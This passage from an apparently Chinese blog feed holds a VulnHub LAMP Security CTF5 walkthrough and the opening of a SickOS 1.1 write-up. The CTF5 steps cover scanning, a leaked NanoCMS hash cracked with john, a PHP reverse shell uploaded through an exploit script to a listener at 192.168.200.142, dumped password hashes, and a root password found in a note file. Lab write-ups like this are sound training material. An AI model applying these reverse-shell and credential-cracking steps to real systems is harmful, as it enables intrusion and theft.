111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100024  1          32768/udp   status
|_  100024  1          33051/tcp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MYGROUP)
143/tcp   open  imap        University of Washington IMAP imapd 2006k.396
445/tcp   open  netbios-ssn Samba smbd 3.0.26a-6.fc8 (workgroup: MYGROUP)  # &amp;lt;-- Samba 版本
901/tcp   open  http        Samba SWAT administration server
3306/tcp  open  mysql       MySQL 5.0.45
33051/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:1B:FC:7E (VMware)

OS details: Linux 2.6.9 - 2.6.30
Service Info: Hosts: localhost.localdomain, 192.168.200.160; OS: Unix

| smb-os-discovery: 
|   OS: Unix (Samba 3.0.26a-6.fc8)
|   Computer name: localhost
|   FQDN: localhost.localdomain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520092718356.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;临时总结：扫描到了很多服务，SMB 有一个共享出来的文件，正常的 HTTP 和 MySQL，UDP 有 NFS，两个邮件服务。打算先去测试 SMB 中有没有泄露的信息，再看看 MySQL 能不能匿名登入，后续去探测 HTTP，不行再去测 NFS。&lt;/p&gt;
&lt;h3&gt;UDP 扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sU -p 111,2049,32765-32768 192.168.200.160 -oA udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520093749403.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-19 21:33 EDT
Nmap scan report for 192.168.200.160

PORT      STATE  SERVICE
111/udp   open   rpcbind
2049/udp  closed nfs       # &amp;lt;-- NFS 未开放
32765/udp closed unknown
32766/udp closed unknown
32767/udp closed filenet-powsrm
32768/udp open   omad
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p $ports 192.168.200.160 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 SMB 探测&lt;/h2&gt;
&lt;p&gt;由于在 nmap 中扫描到了 smb 服务，并泄露出来一个工作组，先枚举共享。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -L //192.168.200.160 -N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520094513129.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Nmap 中的扫描可能存在错误，真实工作组为&lt;code&gt;homes&lt;/code&gt;，尝试访问，访问无效：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520095925070.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再用 smbmap 确认一下是不是真不能访问还是 smbclient 版本问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbmap -H 192.168.200.160
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520100419959.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫描结果显示 no access，应该是真不能访问了。保存一下 smb server 版本：&lt;code&gt;Samba Server Version 3.0.26a-6.fc8&lt;/code&gt;，之后其他方式尝试无果再回来用这个试试。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.3 MySQL 探测&lt;/h2&gt;
&lt;p&gt;很明显，mysql 不能通过匿名直接访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -uroot -h192.168.200.160 -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520100643842.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.4 Web 探测&lt;/h2&gt;
&lt;p&gt;访问 web 主页：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520101221405.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;页面内容：Phake Organization is your one stop shop for event organization...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;访问页面源码，没有什么有效信息，就是主页看到的跳转链接。记下来打算点几个链接，同时进行目录枚举。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.160/index.php?page=about   # 无有效内容

http://192.168.200.160/~andy/                 # 泄露 CMS 名称：powered by NanoCMS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520101925367.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过点击 webmail 链接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.160/mail/src/login.php
# SquirrelMail version 1.4.11-1.fc8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520102144771.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;NanoCMS Admin Login 管理后台地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.160/~andy/data/nanoadmin.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520102319050.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目录枚举：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u &apos;http://192.168.200.160/&apos; -o dirs.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520101720402.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.160/info.php      # phpinfo()
http://192.168.200.160/events/       # Phake Organization Event Manager
http://192.168.200.160/phpmyadmin/   # phpmyadmin
http://192.168.200.160/list          # 注册账户
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;信息汇总，确认优先级：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NanoCMS：知道后台登入地址，找 exp&lt;/li&gt;
&lt;li&gt;SquirrelMail 1.4.11：邮件管理服务&lt;/li&gt;
&lt;li&gt;phpmyadmin：可尝试爆破&lt;/li&gt;
&lt;li&gt;在现有页面找注入点&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;2. Web 渗透&lt;/h1&gt;
&lt;h2&gt;2.1 NanoCMS 凭证泄露&lt;/h2&gt;
&lt;p&gt;通过联网搜索，找到一个 exp（https://www.exploit-db.com/exploits/50997），但需要登入后台才能实现 RCE。NanoCMS 暂时可能不行，打算换 SquirrelMail 切入。（这里没有仔细翻阅搜索引擎内容，其中有一个提示这个 cms 存在路径凭证泄露）&lt;/p&gt;
&lt;p&gt;NanoCMS &lt;code&gt;/data/pagesdata.txt&lt;/code&gt; 密码哈希信息泄露漏洞：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;参考：https://vulners.com/openvas/OPENVAS:1361412562310100141&lt;/li&gt;
&lt;li&gt;泄露地址：&lt;code&gt;http://192.168.200.160/~andy/data/pagesdata.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;a:12:{...s:8:&quot;username&quot;;s:5:&quot;admin&quot;;s:8:&quot;password&quot;;s:32:&quot;9d2f75377ac0ab991d40c91fd27e52fd&quot;;...}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段内容是 PHP 序列化数据，其中包含一个 MD5 hash。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: john 破解中 format 有很多 md5 该怎么选？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;raw-md5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;普通 MD5，直接对密码哈希&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;md5crypt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Linux &lt;code&gt;/etc/shadow&lt;/code&gt; 里的 &lt;code&gt;$1$...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dynamic_0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;等同 raw-md5 的另一种写法&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;# john 爆破
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# 查看凭证
john --show --format=Raw-MD5 hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520110713007.png&quot; alt=&quot;john爆破&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获得凭证：&lt;code&gt;admin:shannon&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2.2 NanoCMS RCE 获取反弹 Shell&lt;/h2&gt;
&lt;h3&gt;准备 PHP 反弹 Shell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
vim ./shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改 shell.php 里的两行，改成 Kali 的 IP 和监听端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ip = &apos;192.168.200.142&apos;;
$port = 4444;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;运行 exp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 安装exp需要的依赖
pip install requests bs4

# 运行exp
python nanocms_v0.4_exp.py http://192.168.200.160/~andy/ shell.php -u admin -p shannon -e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520132851302.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传反弹 shell 的位置：&lt;code&gt;http://192.168.200.160/~andy/data/pages/7b4f0e96.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Kali 中提前开启的 nc 监听，已连接成功：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520132955940.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;p&gt;拿到 webshell 后的基础信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sh-3.2$ whoami
apache
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之前信息收集阶段探测到有很多服务，比较好奇 mysql 里面的内容，决定先看一下有没有泄露的凭证可以利用。&lt;/p&gt;
&lt;h3&gt;搜索配置文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sh-3.2$ find . -name &quot;*conf*&quot;
./html/squirrelmail/config/config.php
./html/phpmyadmin/config.inc.php
./html/phpmyadmin/config.inc.php.bak
./html/phpmyadmin/libraries/config.default.php
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看了上面的几个配置文件，并未从里面发现有效信息。&lt;/p&gt;
&lt;h3&gt;打包源码分析&lt;/h3&gt;
&lt;p&gt;但是我的直觉告诉我，这台靶机中一定存在凭证泄露，我决定将 Web 服务的源码打包到本地来查看。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tar -czvf /tmp/backup.tar.gz html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520135210714.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过查询，在 &lt;code&gt;./html/list/index.php&lt;/code&gt; 中发现明文数据库凭证：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个路径是之前目录枚举的时候就找到的，不过由于信息过多没有仔细查看，重新访问，这是一个很简陋的php页面确实会存在凭证泄露的可能&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$link = mysql_connect(&apos;localhost&apos;, &apos;root&apos;, &apos;mysqlpassword&apos;);  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520135625255.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以登入 phpmyadmin，也可以通过 cli 的 mysql 连接：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520135800535.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.2 MySQL 信息收集&lt;/h2&gt;
&lt;p&gt;在 phpmyadmin 中搜索无法显示，转为使用 cli。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| contacts           | 
| drupal             | 
| mysql              | 
| test               | 
+--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;contacts 数据库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; use contacts;
mysql&amp;gt; select * from contact;
+----+--------------------+--------------------------------+--------------+--------------------+
| id | name               | email                          | phone        | org                |
+----+--------------------+--------------------------------+--------------+--------------------+
|  1 | Patrick Fair       | patrick@localhost.localdomain  | 555.123.4567 | Phake Organization | 
|  2 | Mr. Important User | important@localhost            | 555.123.4567 | Secret Org         | 
|  3 | Jennifer Sea       | jennifer@localhost.localdomain | 555.123.4567 | Phake Organization | 
|  4 | Andy Carp          | andy@localhost.localdomain     | 555.123.4567 | Phake Organization | 
|  5 | Loren Felt         | loren@localhost.localdomain    | 555.123.4567 | Phake Organization | 
|  6 | Amy Pendleton      | amy@localhost.localdomain      | 555.123.4567 | Phake Organization | 
+----+--------------------+--------------------------------+--------------+--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;drupal 数据库 - 用户哈希&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; use drupal;
mysql&amp;gt; select uid,name,pass,mail from users;
+-----+----------+----------------------------------+--------------------+
| uid | name     | pass                             | mail               |
+-----+----------+----------------------------------+--------------------+
|   0 |          |                                  |                    | 
|   1 | jennifer | e3f4150c722e6376d87cd4d43fef0bc5 | jennifer@localhost | 
|   2 | patrick  | 5f4dcc3b5aa765d61d8327deb882cf99 | patrick@localhost  |  # &amp;lt;-- MD5 哈希
|   3 | andy     | b64406d23d480b88fe71755b96998a51 | andy@localhost     | 
|   4 | loren    | 6c470dd4a0901d53f7ed677828b23cfd | loren@localhost    | 
|   5 | amy      | e5f0f20b92f7022779015774e90ce917 | amy@localhost      | 
|   6 | owen     | ec1bfc4849584f8a9b5672364b1bf52f | abc@123.com        | 
+-----+----------+----------------------------------+--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提取 hash 进行爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jennifer:e3f4150c722e6376d87cd4d43fef0bc5
patrick:5f4dcc3b5aa765d61d8327deb882cf99
andy:b64406d23d480b88fe71755b96998a51
loren:6c470dd4a0901d53f7ed677828b23cfd
amy:e5f0f20b92f7022779015774e90ce917
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show --format=Raw-MD5 hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520190947881.png&quot; alt=&quot;john爆破截图&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;patrick:password
amy:temppass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试爆破出来的密码是不是对应用户的 SSH 凭证，也对密码和用户进行排列组合尝试均是无效凭证。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520191122922.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上面的尝试没试过，由于用户过多，很有可能存在家目录中权限和内容的残留，打算去家目录中搜索相关信息。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.3 家目录信息收集&lt;/h2&gt;
&lt;p&gt;在查看 &lt;code&gt;/etc/passwd&lt;/code&gt; 的文件中，存在许多可用用户，我决定在家目录中搜寻泄露的信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37:RPM user:/var/lib/rpm:/sbin/nologin
polkituser:x:87:87:PolicyKit:/:/sbin/nologin
avahi:x:499:499:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
openvpn:x:498:497:OpenVPN:/etc/openvpn:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
torrent:x:497:496:BitTorrent Seed/Tracker:/var/spool/bittorrent:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
patrick:x:500:500:Patrick Fair:/home/patrick:/bin/bash
jennifer:x:501:501:Jennifer Sea:/home/jennifer:/bin/bash
andy:x:502:502:Andrew Carp:/home/andy:/bin/bash
loren:x:503:503:Loren Felt:/home/loren:/bin/bash
amy:x:504:504:Amy Pendelton:/home/amy:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查找家目录中带有 &lt;code&gt;pass&lt;/code&gt; 的文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -R -i pass /home/* 2&amp;gt;/dev/null &amp;gt; scan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520194922563.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中有个文件提到了 &lt;code&gt;Root password&lt;/code&gt; ，访问这个文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash-3.2$ cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;note version=&quot;0.2&quot; ...&amp;gt;
  &amp;lt;title&amp;gt;Root password&amp;lt;/title&amp;gt;
  &amp;lt;text xml:space=&quot;preserve&quot;&amp;gt;&amp;lt;note-content version=&quot;0.1&quot;&amp;gt;Root password

Root password

50$cent&amp;lt;/note-content&amp;gt;&amp;lt;/text&amp;gt;   # &amp;lt;-- Root 明文密码
  ...
&amp;lt;/note&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3.4 RootShell&lt;/h2&gt;
&lt;p&gt;切换root用户，确认凭证为root的凭证：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/LAMP_Security_CTF5/image-20260520194037290.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获得 Root 密码：&lt;code&gt;50$cent&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;错误尝试：其中转向决定使用内核提权脚本，但是机器的 gcc 好像用不了，不知道是不是我不会操作。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;这台靶机有很多攻击面，我在漏洞搜索的时候遗漏一个关于 CMS 凭证泄露的漏洞，导致我无法继续进行后续的探索。&lt;/p&gt;
&lt;p&gt;提权阶段，这次还是有差一步，不只是 Web 目录可能存在凭证泄露，用户的家目录也会存在凭证泄露。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub SickOS 1.1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/20/sickos-11/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/20/sickos-11/</guid><description>SickOS 1.1 是 VulnHub 平台上一台以渗透测试为主题的入门级靶机，整体难度适中。靶机的核心考察点在于对非常规端口服务（HTTP 代理）的识别与利用，以及 CMS 漏洞的挖掘和凭据复用提权。</description><pubDate>Wed, 20 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;SickOS 1.1 是 VulnHub 平台上一台以渗透测试为主题的入门级靶机，整体难度适中。靶机的核心考察点在于对非常规端口服务（HTTP 代理）的识别与利用，以及 CMS 漏洞的挖掘和凭据复用提权。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;SickOS 1.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.159&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/sickos-11,132/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/sickos/sick0s1.1.7z&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;目标&lt;/td&gt;
&lt;td&gt;获取 Root 权限&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Nmap&lt;/li&gt;
&lt;li&gt;Dirsearch&lt;/li&gt;
&lt;li&gt;cURL&lt;/li&gt;
&lt;li&gt;nc&lt;/li&gt;
&lt;li&gt;MySQL&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/SickOS-1_1_%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sT -p- --min-rate 10000 192.168.200.159 -oA ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开放端口：&lt;code&gt;22,3128,8080&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513004644004.png&quot; alt=&quot;nmap端口扫描截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫描结果比较特殊，没有出现常见的 80 端口，反而出现了 3128 端口。查了一下，3128 是 Squid 代理服务的默认端口。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Squid 服务是什么：&lt;/strong&gt; Squid 是一款支持 HTTP、HTTPS、FTP 等协议的 Web 缓存代理。它通过缓存和重用频繁请求的网页来降低带宽占用并提升响应速度，同时具备完善的访问控制机制。Squid 可在包括 Windows 在内的大多数操作系统上运行，采用 GNU GPL 许可协议。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sT -sV -sC -O -p22,3128,8080 192.168.200.159 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513004651496.png&quot; alt=&quot;nmap详细信息截图&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap --script=vuln -p22,3128,8080 192.168.200.159 -oA vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513004615270.png&quot; alt=&quot;nmap漏洞扫描截图&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;UDP 扫描&lt;/h3&gt;
&lt;p&gt;TCP 服务侧探测到的内容较少，可利用价值有限，补充进行 UDP 扫描。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sU --top-ports 20 192.168.200.159 -oA udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513005039740.png&quot; alt=&quot;nmap udp 常见端口探测&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提取开放端口后进行详细扫描：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sU -sV -sC -O -p53,67,68,69,123,135,137,138,139,161,162,445,500,514,520,631,1434,1900,4500,49152 192.168.200.159 -oA detail_udp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;p&gt;由扫描到的 3128 端口也是一个 Web 服务，直接访问 &lt;code&gt;http://192.168.200.159:3128/&lt;/code&gt;，返回 squid/3.1.19 的错误页，无法正常浏览。&lt;/p&gt;
&lt;p&gt;页面链接 URL 解码后内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mailto:webmaster?subject=CacheErrorInfo - ERR_INVALID_URL&amp;amp;body=CacheHost: localhost
ErrPage: ERR_INVALID_URL
Err: [none]
TimeStamp: Tue, 12 May 2026 17:27:05 GMT

ClientIP: 192.168.200.1

HTTP Request:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513131525318.png&quot; alt=&quot;访问3128端口的web服务&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接对 3128 端口进行目录扫描，没有找到有效内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ dirsearch -u &apos;http://192.168.200.159:3128&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513134026893.png&quot; alt=&quot;dirsearch扫描结果-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查阅资料后了解到，Squid 本身是一个代理服务器（参考：https://cloud.tencent.com/developer/article/2362188 ），这意味着可能需要通过它作为代理来访问靶机上的其他 Web 服务。在 Firefox 中配置代理指向 &lt;code&gt;192.168.200.159:3128&lt;/code&gt; 后，果然成功访问到了原本无法直接访问的 Web 界面。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513134222037.png&quot; alt=&quot;firefox修改代理&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/SickOS-1.1/image-20260513134247978.png&quot; alt=&quot;访问web端口成功&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过代理再次进行目录扫描（使用 &lt;code&gt;--proxy&lt;/code&gt; 参数指定代理地址）：&lt;/p&gt;
